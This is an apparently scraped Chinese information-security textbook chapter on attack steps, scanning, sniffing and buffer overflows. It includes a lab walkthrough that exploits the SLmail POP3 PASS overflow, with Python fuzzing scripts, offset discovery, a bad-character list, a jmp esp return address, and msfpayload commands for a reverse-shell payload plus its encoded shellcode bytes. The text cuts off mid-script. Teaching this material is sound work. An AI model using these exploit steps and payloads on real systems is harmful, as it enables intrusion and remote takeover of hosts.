




版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
XXXXXX學(xué)院信息安全技術(shù)第5章網(wǎng)絡(luò)安全技術(shù)本章學(xué)習(xí)目標(biāo)·
了解目前網(wǎng)絡(luò)的安全形式·
了解黑客攻擊的步驟·
掌握端口與漏洞掃描工具以及網(wǎng)絡(luò)監(jiān)聽(tīng)工具的使用·
理解緩沖區(qū)溢出的攻擊原理·
理解DoS與DDoS攻擊的原理及其防范·
掌握中間人攻擊技術(shù)·
理解ARP欺騙的原理·
掌握Linux中防火墻的配置·
理解入侵檢測(cè)與入侵防御技術(shù)·
了解計(jì)算機(jī)病毒、蠕蟲(chóng)和木馬帶來(lái)的威脅·
掌握Windows和Linux中VPN的配置·
掌握httptunnel技術(shù)的使用·
了解蜜罐技術(shù)·
掌握KaliLinux中使用Aircrack-ng破解WiFi密碼技術(shù)·
了解無(wú)線(xiàn)網(wǎng)絡(luò)安全并且會(huì)配置無(wú)線(xiàn)網(wǎng)絡(luò)安全5.1網(wǎng)絡(luò)安全形勢(shì)縱觀2021年,我國(guó)在網(wǎng)絡(luò)安全領(lǐng)域取得了新的成就,但是隨著數(shù)字化轉(zhuǎn)型步入深水區(qū),大數(shù)據(jù)、云計(jì)算、物聯(lián)網(wǎng)等基礎(chǔ)應(yīng)用持續(xù)深化,數(shù)據(jù)泄露、高危漏洞、網(wǎng)絡(luò)攻擊以及相關(guān)的智能犯罪等網(wǎng)絡(luò)安全問(wèn)題也呈現(xiàn)出新變化,嚴(yán)重危害國(guó)家關(guān)鍵基礎(chǔ)設(shè)施安全、挑戰(zhàn)公民隱私安全甚至危及社會(huì)穩(wěn)定。因此,我國(guó)網(wǎng)絡(luò)安全形勢(shì)依舊嚴(yán)峻。當(dāng)今網(wǎng)絡(luò)戰(zhàn)場(chǎng)已成為國(guó)家間博弈的舞臺(tái),各種先進(jìn)的技術(shù)層出不窮,各個(gè)國(guó)家都在打造一支屬于自己的網(wǎng)絡(luò)隊(duì)伍,網(wǎng)絡(luò)戰(zhàn)爭(zhēng)也進(jìn)入了一個(gè)很微妙的時(shí)期,奪取戰(zhàn)爭(zhēng)主動(dòng)權(quán),不再是子彈槍炮,而是流動(dòng)在網(wǎng)線(xiàn)中的比特和字節(jié)。由于受技術(shù)條件的限制,很多人對(duì)網(wǎng)絡(luò)安全的意識(shí)僅停留在如何防范病毒階段,對(duì)網(wǎng)絡(luò)安全缺乏整體意識(shí)。5.2.1黑客與駭客黑客(Hacker):是指那些盡力挖掘計(jì)算機(jī)程序功能最大潛力的計(jì)算機(jī)用戶(hù),依靠自己掌握的知識(shí),幫助系統(tǒng)管理員找出系統(tǒng)中的漏洞并加以完善。駭客(Cracker):是通過(guò)各種黑客技術(shù)對(duì)目標(biāo)系統(tǒng)進(jìn)行攻擊、入侵或做其他一些有害于目標(biāo)系統(tǒng)或網(wǎng)絡(luò)的事情。今天“黑客”和“駭客”的概念已經(jīng)被人們所混淆,一般都用來(lái)指代那些專(zhuān)門(mén)利用計(jì)算機(jī)和網(wǎng)絡(luò)搞破壞或惡作劇的人。無(wú)論是“黑客”還是“駭客”,他們最初學(xué)習(xí)的內(nèi)容都是本部分所涉及的內(nèi)容,而且掌握的基本技能也都是一樣的。5.2.2黑客攻擊的目的和手段1.黑客攻擊的目的不同黑客進(jìn)行攻擊的目的也不盡相同,有的黑客是為了竊取、修改或刪除系統(tǒng)中的相關(guān)信息,有的黑客是為了顯示自己的網(wǎng)絡(luò)技術(shù),有的黑客是為了商業(yè)利益,而有的黑客是出于政治目的等。2.黑客攻擊的手段黑客攻擊可分為非破壞性攻擊和破壞性攻擊兩類(lèi)。非破壞性攻擊:一般是為了擾亂系統(tǒng)的運(yùn)行,并不盜竊系統(tǒng)資料,通常采用拒絕服務(wù)攻擊或信息炸彈的方式。破壞性攻擊:以侵入他人計(jì)算機(jī)系統(tǒng),盜竊系統(tǒng)保密信息,破壞目標(biāo)系統(tǒng)的數(shù)據(jù)為目的。黑客常用的攻擊手段有密碼破解、后門(mén)程序、中間人攻擊、電子郵件攻擊、信息炸彈、拒絕服務(wù)、網(wǎng)絡(luò)監(jiān)聽(tīng)、利用網(wǎng)絡(luò)系統(tǒng)漏洞進(jìn)行攻擊、暴庫(kù)、注入、旁注、Cookie詐騙、www欺騙技術(shù)等。5.2.3黑客攻擊的步驟圖5.1黑客入侵的步驟5.2.4主動(dòng)信息收集信息收集對(duì)于一次滲透來(lái)說(shuō)是非常重要的,收集到的信息越多,滲透的成功概率就越大,前期收集到的這些信息對(duì)于以后的階段有著非常重要的意義。信息收集方式可以分為兩種:主動(dòng)和被動(dòng)。主動(dòng)信息收集方式:直接訪問(wèn)、掃描目標(biāo)系統(tǒng)的行為;被動(dòng)信息收集方式:利用第三方的服務(wù)對(duì)目標(biāo)系統(tǒng)進(jìn)行了解。1.ping2.Nmap5.2.5被動(dòng)信息收集被動(dòng)信息收集也就是說(shuō)不會(huì)與目標(biāo)服務(wù)器做直接的交互,在不被目標(biāo)系統(tǒng)察覺(jué)的情況下,通過(guò)搜索引擎、社交媒體等方式對(duì)目標(biāo)外圍的信息進(jìn)行收集,例如:網(wǎng)站的whois信息、DNS信息、管理員以及工作人員的個(gè)人信息等。1.whois2.host3.dig4.dnsenum5.fierce6.DMitry7.旁站查詢(xún)8.GoogleHack5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)1.漏洞掃描與網(wǎng)絡(luò)監(jiān)聽(tīng)圖5.2實(shí)驗(yàn)環(huán)境5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)第1步:入侵者,啟動(dòng)X-Scan,設(shè)置參數(shù)。在WinXPsp3(攻擊機(jī)),雙擊xscan_gui.exe,如圖5.3所示。第2步:入侵者,進(jìn)行漏洞掃描。如圖5.3所示,單擊工具欄左邊第二個(gè)按鈕,即三角形按鈕。進(jìn)行漏洞掃描。圖5.3啟動(dòng)X-Scan,設(shè)置參數(shù)5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)第3步:入侵者,掃描結(jié)果。如圖5.4a所示,“普通信息”標(biāo)簽頁(yè)顯示漏洞掃描過(guò)程中的信息,“漏洞信息”標(biāo)簽頁(yè)顯示可能存在的漏洞,開(kāi)放的服務(wù)為黑客提供了可能的入侵通道。另外,掃描結(jié)果被保存到了html文件,掃描結(jié)束后,通過(guò)瀏覽器自動(dòng)打開(kāi)該文件,如圖5.4b所示,發(fā)現(xiàn)目標(biāo)機(jī)存在安全漏洞,使用了弱口令。圖5.4a
掃描結(jié)果5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)圖5.4b
掃描結(jié)果5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)第4步:被入侵者,網(wǎng)絡(luò)監(jiān)聽(tīng)。在目標(biāo)機(jī)(Win2003SP2)雙擊Analyzer.exe進(jìn)行網(wǎng)絡(luò)監(jiān)聽(tīng),如圖5.5所示。圖5.5被入侵者進(jìn)行網(wǎng)絡(luò)監(jiān)聽(tīng)5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)2.掃描器的組成掃描器一般由用戶(hù)界面、掃描引擎、掃描方法集、漏洞數(shù)據(jù)庫(kù)、掃描輸出報(bào)告等模塊組成。整個(gè)掃描過(guò)程由用戶(hù)界面驅(qū)動(dòng),首先由用戶(hù)建立新會(huì)話(huà),選定掃描策略,啟動(dòng)掃描引擎,然后根據(jù)用戶(hù)制定的掃描策略,掃描引擎開(kāi)始調(diào)度掃描方法,掃描方法根據(jù)漏洞數(shù)據(jù)庫(kù)中的漏洞信息對(duì)目標(biāo)系統(tǒng)進(jìn)行掃描,最后由報(bào)告模塊組織掃描結(jié)果并輸出。3.漏洞“漏洞”一詞由英文單詞Vulnerability翻譯而來(lái),Vulnerability應(yīng)譯為“脆弱性”,但是中國(guó)的技術(shù)人員已經(jīng)更愿意接受“漏洞(Hole)”這一通俗化的名詞。4.端口掃描(1)端口掃描的定義。端口掃描是通過(guò)TCP或UDP的連接來(lái)判斷目標(biāo)主機(jī)上是否有相關(guān)的服務(wù)正在運(yùn)行并且進(jìn)行監(jiān)聽(tīng)。從宿主機(jī)將Advanced_Port_Scanner_1.3.zip拖放到攻擊機(jī)(WinXPsp3),在攻擊機(jī)安裝端口掃描器AdvancedPortScanner,然后執(zhí)行AdvancedPortScanner對(duì)某網(wǎng)段(/24)進(jìn)行掃描,結(jié)果如圖5.6所示。5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)圖5.6用AdvancedPortScanner對(duì)某網(wǎng)段(/24)進(jìn)行掃描5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)(2)端口。端口在計(jì)算機(jī)網(wǎng)絡(luò)領(lǐng)域是個(gè)非常重要的概念,它專(zhuān)門(mén)為計(jì)算機(jī)通信而設(shè)計(jì),由計(jì)算機(jī)的通信協(xié)議TCP/IP定義。(3)端口的分類(lèi)。端口一般分為兩類(lèi):熟知端口和一般端口。(4)端口掃描。端口掃描是指對(duì)目標(biāo)計(jì)算機(jī)的所有或需要掃描的端口發(fā)送特定的數(shù)據(jù)包,然后根據(jù)返回的信息來(lái)分析目標(biāo)計(jì)算機(jī)的端口是否打開(kāi)、是否可用。(5)端口掃描器。端口掃描器是一種自動(dòng)檢測(cè)遠(yuǎn)程或本地計(jì)算機(jī)安全性弱點(diǎn)的程序,通過(guò)使用掃描器可以不留痕跡地發(fā)現(xiàn)遠(yuǎn)程主機(jī)提供了哪些服務(wù)及版本,進(jìn)而可以了解遠(yuǎn)程計(jì)算機(jī)存在的安全問(wèn)題。(6)端口掃描的類(lèi)型。端口掃描的類(lèi)型有多種,如TCPconnect()掃描、SYN掃描、SYN/ACK掃描、FIN掃描、XMAS掃描、NULL掃描、RESET掃描和UDP掃描,在此僅介紹TCPconnect()掃描、SYN掃描和UDP掃描。①TCPconnect()掃描。如圖5.7(a)所示,TCPconnect()掃描使用TCP連接建立的“三次握手”機(jī)制,建立一個(gè)到目標(biāo)主機(jī)某端口的連接。②SYN掃描。如圖5.7(b)所示,TCP的SYN掃描不同于TCPconnect()掃描,因?yàn)樗⒉唤⒁粋€(gè)完整的TCP連接,只是發(fā)送一個(gè)SYN數(shù)據(jù)包去建立一個(gè)“三次握手”過(guò)程,等待被掃描者的響應(yīng),如果收到SYN/ACK數(shù)據(jù)包,則清楚地表明目標(biāo)端口處于監(jiān)聽(tīng)狀態(tài);③UDP掃描。向一個(gè)關(guān)閉的UDP端口發(fā)送數(shù)據(jù)時(shí),會(huì)得到ICMPPORTUnreachable消息響應(yīng);如果向目標(biāo)主機(jī)發(fā)送UDP數(shù)據(jù)包,沒(méi)有收到ICMPPORTUnreachable消息,那么可以假設(shè)這個(gè)端口是開(kāi)放的。5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)圖5.7
TCPconnect掃描、SYN掃描5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)(7)端口掃描器的類(lèi)型。目前端口掃描器主要有兩類(lèi):主機(jī)掃描器和網(wǎng)絡(luò)掃描器。①
主機(jī)掃描器。主機(jī)掃描器又稱(chēng)為本地掃描器,它與待檢查系統(tǒng)運(yùn)行于同一結(jié)點(diǎn),執(zhí)行對(duì)自身的檢查。它的主要功能為分析各種系統(tǒng)文件內(nèi)容,查找可能存在的對(duì)系統(tǒng)安全造成威脅的漏洞或配置錯(cuò)誤。②網(wǎng)絡(luò)掃描器。網(wǎng)絡(luò)掃描器又稱(chēng)為遠(yuǎn)程掃描器,通過(guò)網(wǎng)絡(luò)遠(yuǎn)程探測(cè)目標(biāo)結(jié)點(diǎn),檢查安全漏洞。與主機(jī)掃描器的掃描方法不同,網(wǎng)絡(luò)掃描器通過(guò)執(zhí)行一整套綜合的掃描方法集,發(fā)送精心構(gòu)造的數(shù)據(jù)包,來(lái)檢測(cè)目標(biāo)系統(tǒng)是否存在安全隱患。5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)5.網(wǎng)絡(luò)監(jiān)聽(tīng)及其原理圖5.8OutlookExpress相關(guān)參數(shù)設(shè)置5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)圖5.9a網(wǎng)絡(luò)監(jiān)聽(tīng)獲得郵箱的用戶(hù)名5.3實(shí)例——端口與漏洞掃描及網(wǎng)絡(luò)監(jiān)聽(tīng)圖5.9b網(wǎng)絡(luò)監(jiān)聽(tīng)獲得郵箱的密碼5.4緩沖區(qū)溢出緩沖區(qū)溢出是一種常見(jiàn)的攻擊手段,原因在于緩沖區(qū)溢出漏洞非常普通,并且易于實(shí)現(xiàn)。更為嚴(yán)重的是,緩沖區(qū)溢出漏洞占了遠(yuǎn)程網(wǎng)絡(luò)攻擊的絕大多數(shù),成為遠(yuǎn)程攻擊的主要手段,這種攻擊可以使得一個(gè)匿名的Internet用戶(hù)有機(jī)會(huì)獲得一臺(tái)主機(jī)的部分或全部的控制權(quán),所以它代表了一類(lèi)極其嚴(yán)重的安全威脅。5.4.1實(shí)例——緩沖區(qū)溢出及其原理圖5.10為虛擬機(jī)CentOS5.1安裝增強(qiáng)功能1.緩沖區(qū)溢出實(shí)例一5.4.1實(shí)例——緩沖區(qū)溢出及其原理圖5.11abuffer_flow.c文件圖5.11b編譯源程序第1步:編寫(xiě)源程序。編寫(xiě)C語(yǔ)言源程序,如圖5.11a所示,保存為buffer_flow.c文件。注:也可以從宿主機(jī)的本書(shū)配套資源中將buffer_flow.c文件拖放到虛擬機(jī)CentOS5.1。第2步:編譯源程序。如圖5.11b所示,執(zhí)行g(shù)ccbuffer_flow.c-obuffer_flow命令,編譯源程序。第3步:執(zhí)行程序。如圖5.11b所示,執(zhí)行./buffer_flow.o命令,輸出結(jié)果99999。通過(guò)分析主函數(shù)的流程,應(yīng)該輸出1,可是為什么輸出99999呢?原因在于funtion()函數(shù)。5.4.1實(shí)例——緩沖區(qū)溢出及其原理圖5.12進(jìn)程地址空間 圖5.13調(diào)用函數(shù)function(1,2,3)的過(guò)程2.buffer_flow的分析5.4.1實(shí)例——緩沖區(qū)溢出及其原理圖5.14buffer_flow_2.c文件3.緩沖區(qū)溢出實(shí)例二第1步:編寫(xiě)源程序。編寫(xiě)C語(yǔ)言源程序,如圖5.14所示,保存為buffer_flow_2.c文件。注:也可以從宿主機(jī)的本書(shū)配套資源中將buffer_flow_2.c文件拖放到虛擬機(jī)CentOS5.1。5.4.1實(shí)例——緩沖區(qū)溢出及其原理圖5.15編譯源程序第2步:編譯源程序。如圖5.15所示,執(zhí)行g(shù)cc-zexecstackbuffer_flow_2.c-obuffer_flow_2命令,編譯源程序。gcc選項(xiàng)“-zexecstack”的作用是要讓這段shellcode所在的存儲(chǔ)空間有執(zhí)行權(quán)限。第3步:執(zhí)行程序。如圖5.15所示,執(zhí)行./buffer_flow_2命令,輸出結(jié)果“sh-3.1#”,表明溢出成功。5.4.1實(shí)例——緩沖區(qū)溢出及其原理圖5.16程序執(zhí)行流程請(qǐng)讀者結(jié)合圖5.16對(duì)buffer_flow_2程序在內(nèi)存中的分布情況以及執(zhí)行流程做進(jìn)一步分析。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.17實(shí)驗(yàn)環(huán)境在目標(biāo)機(jī)(WinXPsp3)中,雙擊slmail55_4433.exe安裝郵件服務(wù)器,如圖5.18、圖5.19、圖5.20所示,安裝完成后重啟系統(tǒng)。如圖5.21所示,在命令行窗口執(zhí)行命令netstat-nao,發(fā)現(xiàn)25、110、180端口處于監(jiān)聽(tīng)狀態(tài),并且在“計(jì)算機(jī)管理”窗口可以看到郵件相關(guān)的三個(gè)服務(wù)已啟動(dòng),說(shuō)明郵件服務(wù)器安裝成功。在目標(biāo)機(jī)(WinXPsp3)中,接著安裝python-2.7.18.msi和ImmunityDebugger_1_85_setup.exe。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.20安裝郵件服務(wù)器 圖5.21查看開(kāi)放的端口圖5.18安裝郵件服務(wù)器 圖5.19安裝郵件服務(wù)器5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.22測(cè)試目標(biāo)機(jī)(WinXPsp3)是否開(kāi)放25和110端口2.緩沖區(qū)溢出攻擊過(guò)程第1步:入侵者測(cè)試目標(biāo)機(jī)的25和110端口。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.23手動(dòng)測(cè)試緩沖區(qū)溢出漏洞 圖5.24自動(dòng)化測(cè)試第2步:入侵者測(cè)試目標(biāo)機(jī)緩沖區(qū)溢出。#!/usr/bin/pythonimportsocket
buffer=["A"]counter=300whilelen(buffer)<=20:
buffer.append("A"*counter)
counter+=
300forstringinbuffer:
print"FUZZINGPASSWITH%sBYTES"%len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('02',110))
s.recv(1024)
s.send('USERtest'+'\r\n')
s.recv(1024)
s.send('PASS'+string+'\r\n')
s.send('QUIT\r\n')
s.close()5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.25Attach進(jìn)程 圖5.26繼續(xù)執(zhí)行進(jìn)程第3步:判斷目標(biāo)機(jī)是否發(fā)生緩沖區(qū)溢出。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.27執(zhí)行overflow.py 圖5.28發(fā)生緩沖區(qū)溢出,進(jìn)程崩潰5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3第4步:得到確切緩沖區(qū)溢出位置所在的區(qū)間。#!/usr/bin/pythonimportsocket
str="A"*2800try:
print"FUZZINGPASSWITH%sBYTES"%len(str)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('02',110))
s.recv(1024)
s.send('USERtest'+'\r\n')
s.recv(1024)
s.send('PASS'+str+'\r\n')
s.send('QUIT\r\n')
s.close()except:
print"CouldnotconnecttoPOP3"第5步:得到確切緩沖區(qū)溢出位置。重啟目標(biāo)機(jī)(WinXPsp3),命令行窗口執(zhí)行命令netstat-nao,查看在110端口監(jiān)聽(tīng)的進(jìn)程的PID(1844)。打開(kāi)Immunity
Debugger,依次選擇菜單“File”→“Attach”,選擇PID為1844(SLmail)的行,然后單擊“Attach”按鈕。進(jìn)程默認(rèn)處于暫停狀態(tài),為了觀察溢出情況,按“F9”鍵繼續(xù)執(zhí)行1844(SLmail)進(jìn)程。/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l2700在攻擊機(jī)(KaliLinux)的終端窗口中,執(zhí)行如上命令,生成2700個(gè)字節(jié)的唯一字符串,將該字符串作為overflow2.py腳本文件中str變量的值(注意使用雙引號(hào)引起來(lái)),然后執(zhí)行overflow2.py,向目標(biāo)機(jī)(WinXPsp3)的SLmail發(fā)送2700個(gè)字節(jié)的唯一字符串。接下來(lái)查看目標(biāo)機(jī)(WinXPsp3)的情況,查看Immunity
Debugger調(diào)試器,發(fā)現(xiàn)進(jìn)程已經(jīng)崩潰,且EIP寄存器中的內(nèi)容為39694438(十六進(jìn)制表示),即:9iD8。進(jìn)一步執(zhí)行如下命令可以得到39694438在唯一字符串中的確切偏移量為2606,即為溢出的位置。/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb-q396944385.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.29EIP、EBP、ESP寄存器第6步:再次驗(yàn)證確切緩沖區(qū)溢出位置。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.30查看C字符串的起止位置第7步:確定可存放shellcode的地址空間。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3第8步:找出壞字符。#!/usr/bin/pythonimportsocket
badchars=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")
str="A"*2606+"B"*4+badcharstry:
print"FUZZINGPASSWITH%sBYTES"%len(str)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('02',110))
s.recv(1024)
s.send('USERtest'+'\r\n')
s.recv(1024)
s.send('PASS'+str+'\r\n')
s.send('QUIT\r\n')
s.close()except:
print"CouldnotconnecttoPOP3"5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.31查找壞字符5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.32輸入命令“!monamodules”啟動(dòng)Mona第9步:重定向數(shù)據(jù)流。
1)尋找內(nèi)存地址固定的系統(tǒng)模塊5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.33將匯編指令“jmpesp”轉(zhuǎn)換成機(jī)器指令的十六進(jìn)制數(shù)表示2)尋找包含“jmpesp”匯編指令的系統(tǒng)模塊在攻擊機(jī)(KaliLinux),如圖5.33所示,執(zhí)行如下命令將匯編指令“jmpesp”轉(zhuǎn)換成機(jī)器指令的十六進(jìn)制數(shù)表示,即:FFE4。/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb在目標(biāo)機(jī)(WinXPsp3),對(duì)圖5.32中選中的3個(gè)模塊(Openc32.dll、SLMFC.dll、MFC42LOC.dll)逐一嘗試,確認(rèn)其是否包含“jmpesp”指令。mona.py腳本可以被用來(lái)發(fā)現(xiàn)模塊中“jmpesp”指令的地址。如圖5.34所示,在ImmunityDebugger左下角的命令行分別執(zhí)行如下3條命令,通過(guò)結(jié)果分析可知,SLMFC.dll包含“jmpesp”匯編指令,并且包含19條。!monafind-s"\xff\xe4"-mOpenc32.dll!monafind-s"\xff\xe4"-mMFC42LOC.dll!monafind-s"\xff\xe4"-mSLMFC.dll5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.34尋找包含“jmpesp”匯編指令的系統(tǒng)模塊5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.35雙擊任意一條匹配結(jié)果5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.36反匯編可知第一條“jmpesp”指令的地址是5F4A358F5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.37為“jmpesp”指令設(shè)置斷點(diǎn)3)將EIP寄存器的值設(shè)置為“jmpesp”指令的地址在目標(biāo)機(jī)(WinXPsp3),右鍵單擊地址是5F4A358F的這行,在該指令處設(shè)置斷點(diǎn),如圖5.37所示。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.35雙擊任意一條匹配結(jié)果在攻擊機(jī)(KaliLinux),新建Python腳本文件(overflow4.py)內(nèi)容如下,將EIP寄存器的值設(shè)置為“jmpesp”指令的地址(5F4A358F)。為overflow4.py文件增加可執(zhí)行權(quán)限。#!/usr/bin/pythonimportsocket
str="A"*2606+"\x8F\x35\x4A\x5F"+"C"*429try:
print"FUZZINGPASSWITH%sBYTES"%len(str)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('02',110))
s.recv(1024)
s.send('USERtest'+'\r\n')
s.recv(1024)
s.send('PASS'+str+'\r\n')
s.send('QUIT\r\n')
s.close()except:
print"CouldnotconnecttoPOP3"5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.38EIP寄存器的值是斷點(diǎn)的地址(5F4A358F) 圖5.39EIP的值為ESP的值5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.40查看payload類(lèi)型第10步:生成shellcode,實(shí)施緩沖區(qū)溢出攻擊。1)生成shellcode如圖5.40所示,執(zhí)行命令/usr/share/framework2/msfpayload查看payload(攻擊載荷)類(lèi)型。5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.41生成win32反向連接的payload,查看里面是否包含壞字符如圖5.41所示,執(zhí)行如下命令生成win32反向連接的payload,C參數(shù)表示生成C語(yǔ)言格式的代碼。后續(xù)的3條命令查看該payload中是否存在壞字符,發(fā)現(xiàn)存在壞字符0d。/usr/share/framework2/msfpayloadwin32_reverseLHOST=09LPORT=4444C5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP3圖5.42生成不包含壞字符的win32反向連接的payload2)編碼shellcode中的壞字符如圖5.42所示,執(zhí)行如下命令生成不包含壞字符的win32反向連接的payload。R參數(shù)表示使用原始格式進(jìn)行編碼,因?yàn)閙sfencode編碼時(shí)使用原始格式,-b參數(shù)指定需要進(jìn)行編碼的字符(壞字符)。/usr/share/framework2/msfpayloadwin32_reverseLHOST=09LPORT=4444R|/usr/share/framework2/msfencode-b"\x00\x0d\x0a"5.4.2實(shí)例——緩沖區(qū)溢出攻擊WindowsXPSP33)將shellcode寫(xiě)入腳本,實(shí)施緩沖區(qū)溢出攻擊重啟目標(biāo)機(jī)(WinXPsp3)。在攻擊機(jī)(KaliLinux),新建Python腳本文件(overflow5.py)內(nèi)容如下。\x90是nop指令(空操作指令),這里填寫(xiě)8個(gè)字節(jié)的目的是為了防止ESP寄存器所指的有效字節(jié)丟失而造成shellcode不能正常執(zhí)行的情況。#!/usr/bin/pythonimportsocket
payload=(
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x51\xa9\x6d"+
"\x63\x83\xeb\xfc\xe2\xf4\xad\xc3\x86\x2e\xb9\x50\x92\x9c\xae\xc9"+
"\xe6\x0f\x75\x8d\xe6\x26\x6d\x22\x11\x66\x29\xa8\x82\xe8\x1e\xb1"+
"\xe6\x3c\x71\xa8\x86\x2a\xda\x9d\xe6\x62\xbf\x98\xad\xfa\xfd\x2d"+
"\xad\x17\x56\x68\xa7\x6e\x50\x6b\x86\x97\x6a\xfd\x49\x4b\x24\x4c"+
"\xe6\x3c\x75\xa8\x86\x05\xda\xa5\x26\xe8\x0e\xb5\x6c\x88\x52\x85"+
"\xe6\xea\x3d\x8d\x71\x02\x92\x98\xb6\x07\xda\xea\x5d\xe8\x11\xa5"+
"\xe6\x13\x4d\x04\xe6\x23\x59\xf7\x05\xed\x1f\xa7\x81\x33\xae\x7f"+
"\x0b\x30\x37\xc1\x5e\x51\x39\xde\x1e\x51\x0e\xfd\x92\xb3\x39\x62"+
"\x80\x9f\x6a\xf9\x92\xb5\x0e\x20\x88\x05\xd0\x44\x65\x61\x04\xc3"+
"\x6f\x9c\x81\xc1\xb4\x6a\xa4\x04\x3a\x9c\x87\xfa\x3e\x30\x02\xea"+
"\x3e\x20\x02\x56\xbd\x0b\x91\x01\x55\x0e\x37\xc1\x7c\x3f\x37\xfa"+
"\xe4\x82\xc4\xc1\x81\x9a\xfb\xc9\x3a\x9c\x87\xc3\x7d\x32\x04\x56"+
"\xbd\x05\x3b\xcd\x0b\x0b\x32\xc4\x07\x33\x08\x80\xa1\xea\xb6\xc3"+
"\x29\xea\xb3\x98\xad\x90\xfb\x3c\xe4\x9e\xaf\xeb\x40\x9d\x13\x85"+
"\xe0\x19\x69\x02\xc6\xc8\x39\xdb\x93\xd0\x47\x56\x18\x4b\xae\x7f"+
"\x36\x34\x03\xf8\x3c\x32\x3b\xa8\x3c\x32\x04\xf8\x92\xb3\x39\x04"+
"\xb4\x66\x9f\xfa\x92\xb5\x3b\x56\x92\x54\xae\x79\x05\x84\x28\x6f"+
"\x14\x9c\x24\xad\x92\xb5\xae\xde\x91\x9c\x81\xc1\x9d\xe9\x55\xf6"+
"\x3e\x9c\x87\x56\xbd\x63")
str="A"*2606+"\x8F\x35\x4A\x5F"+"\x90"*8+payloadtry:
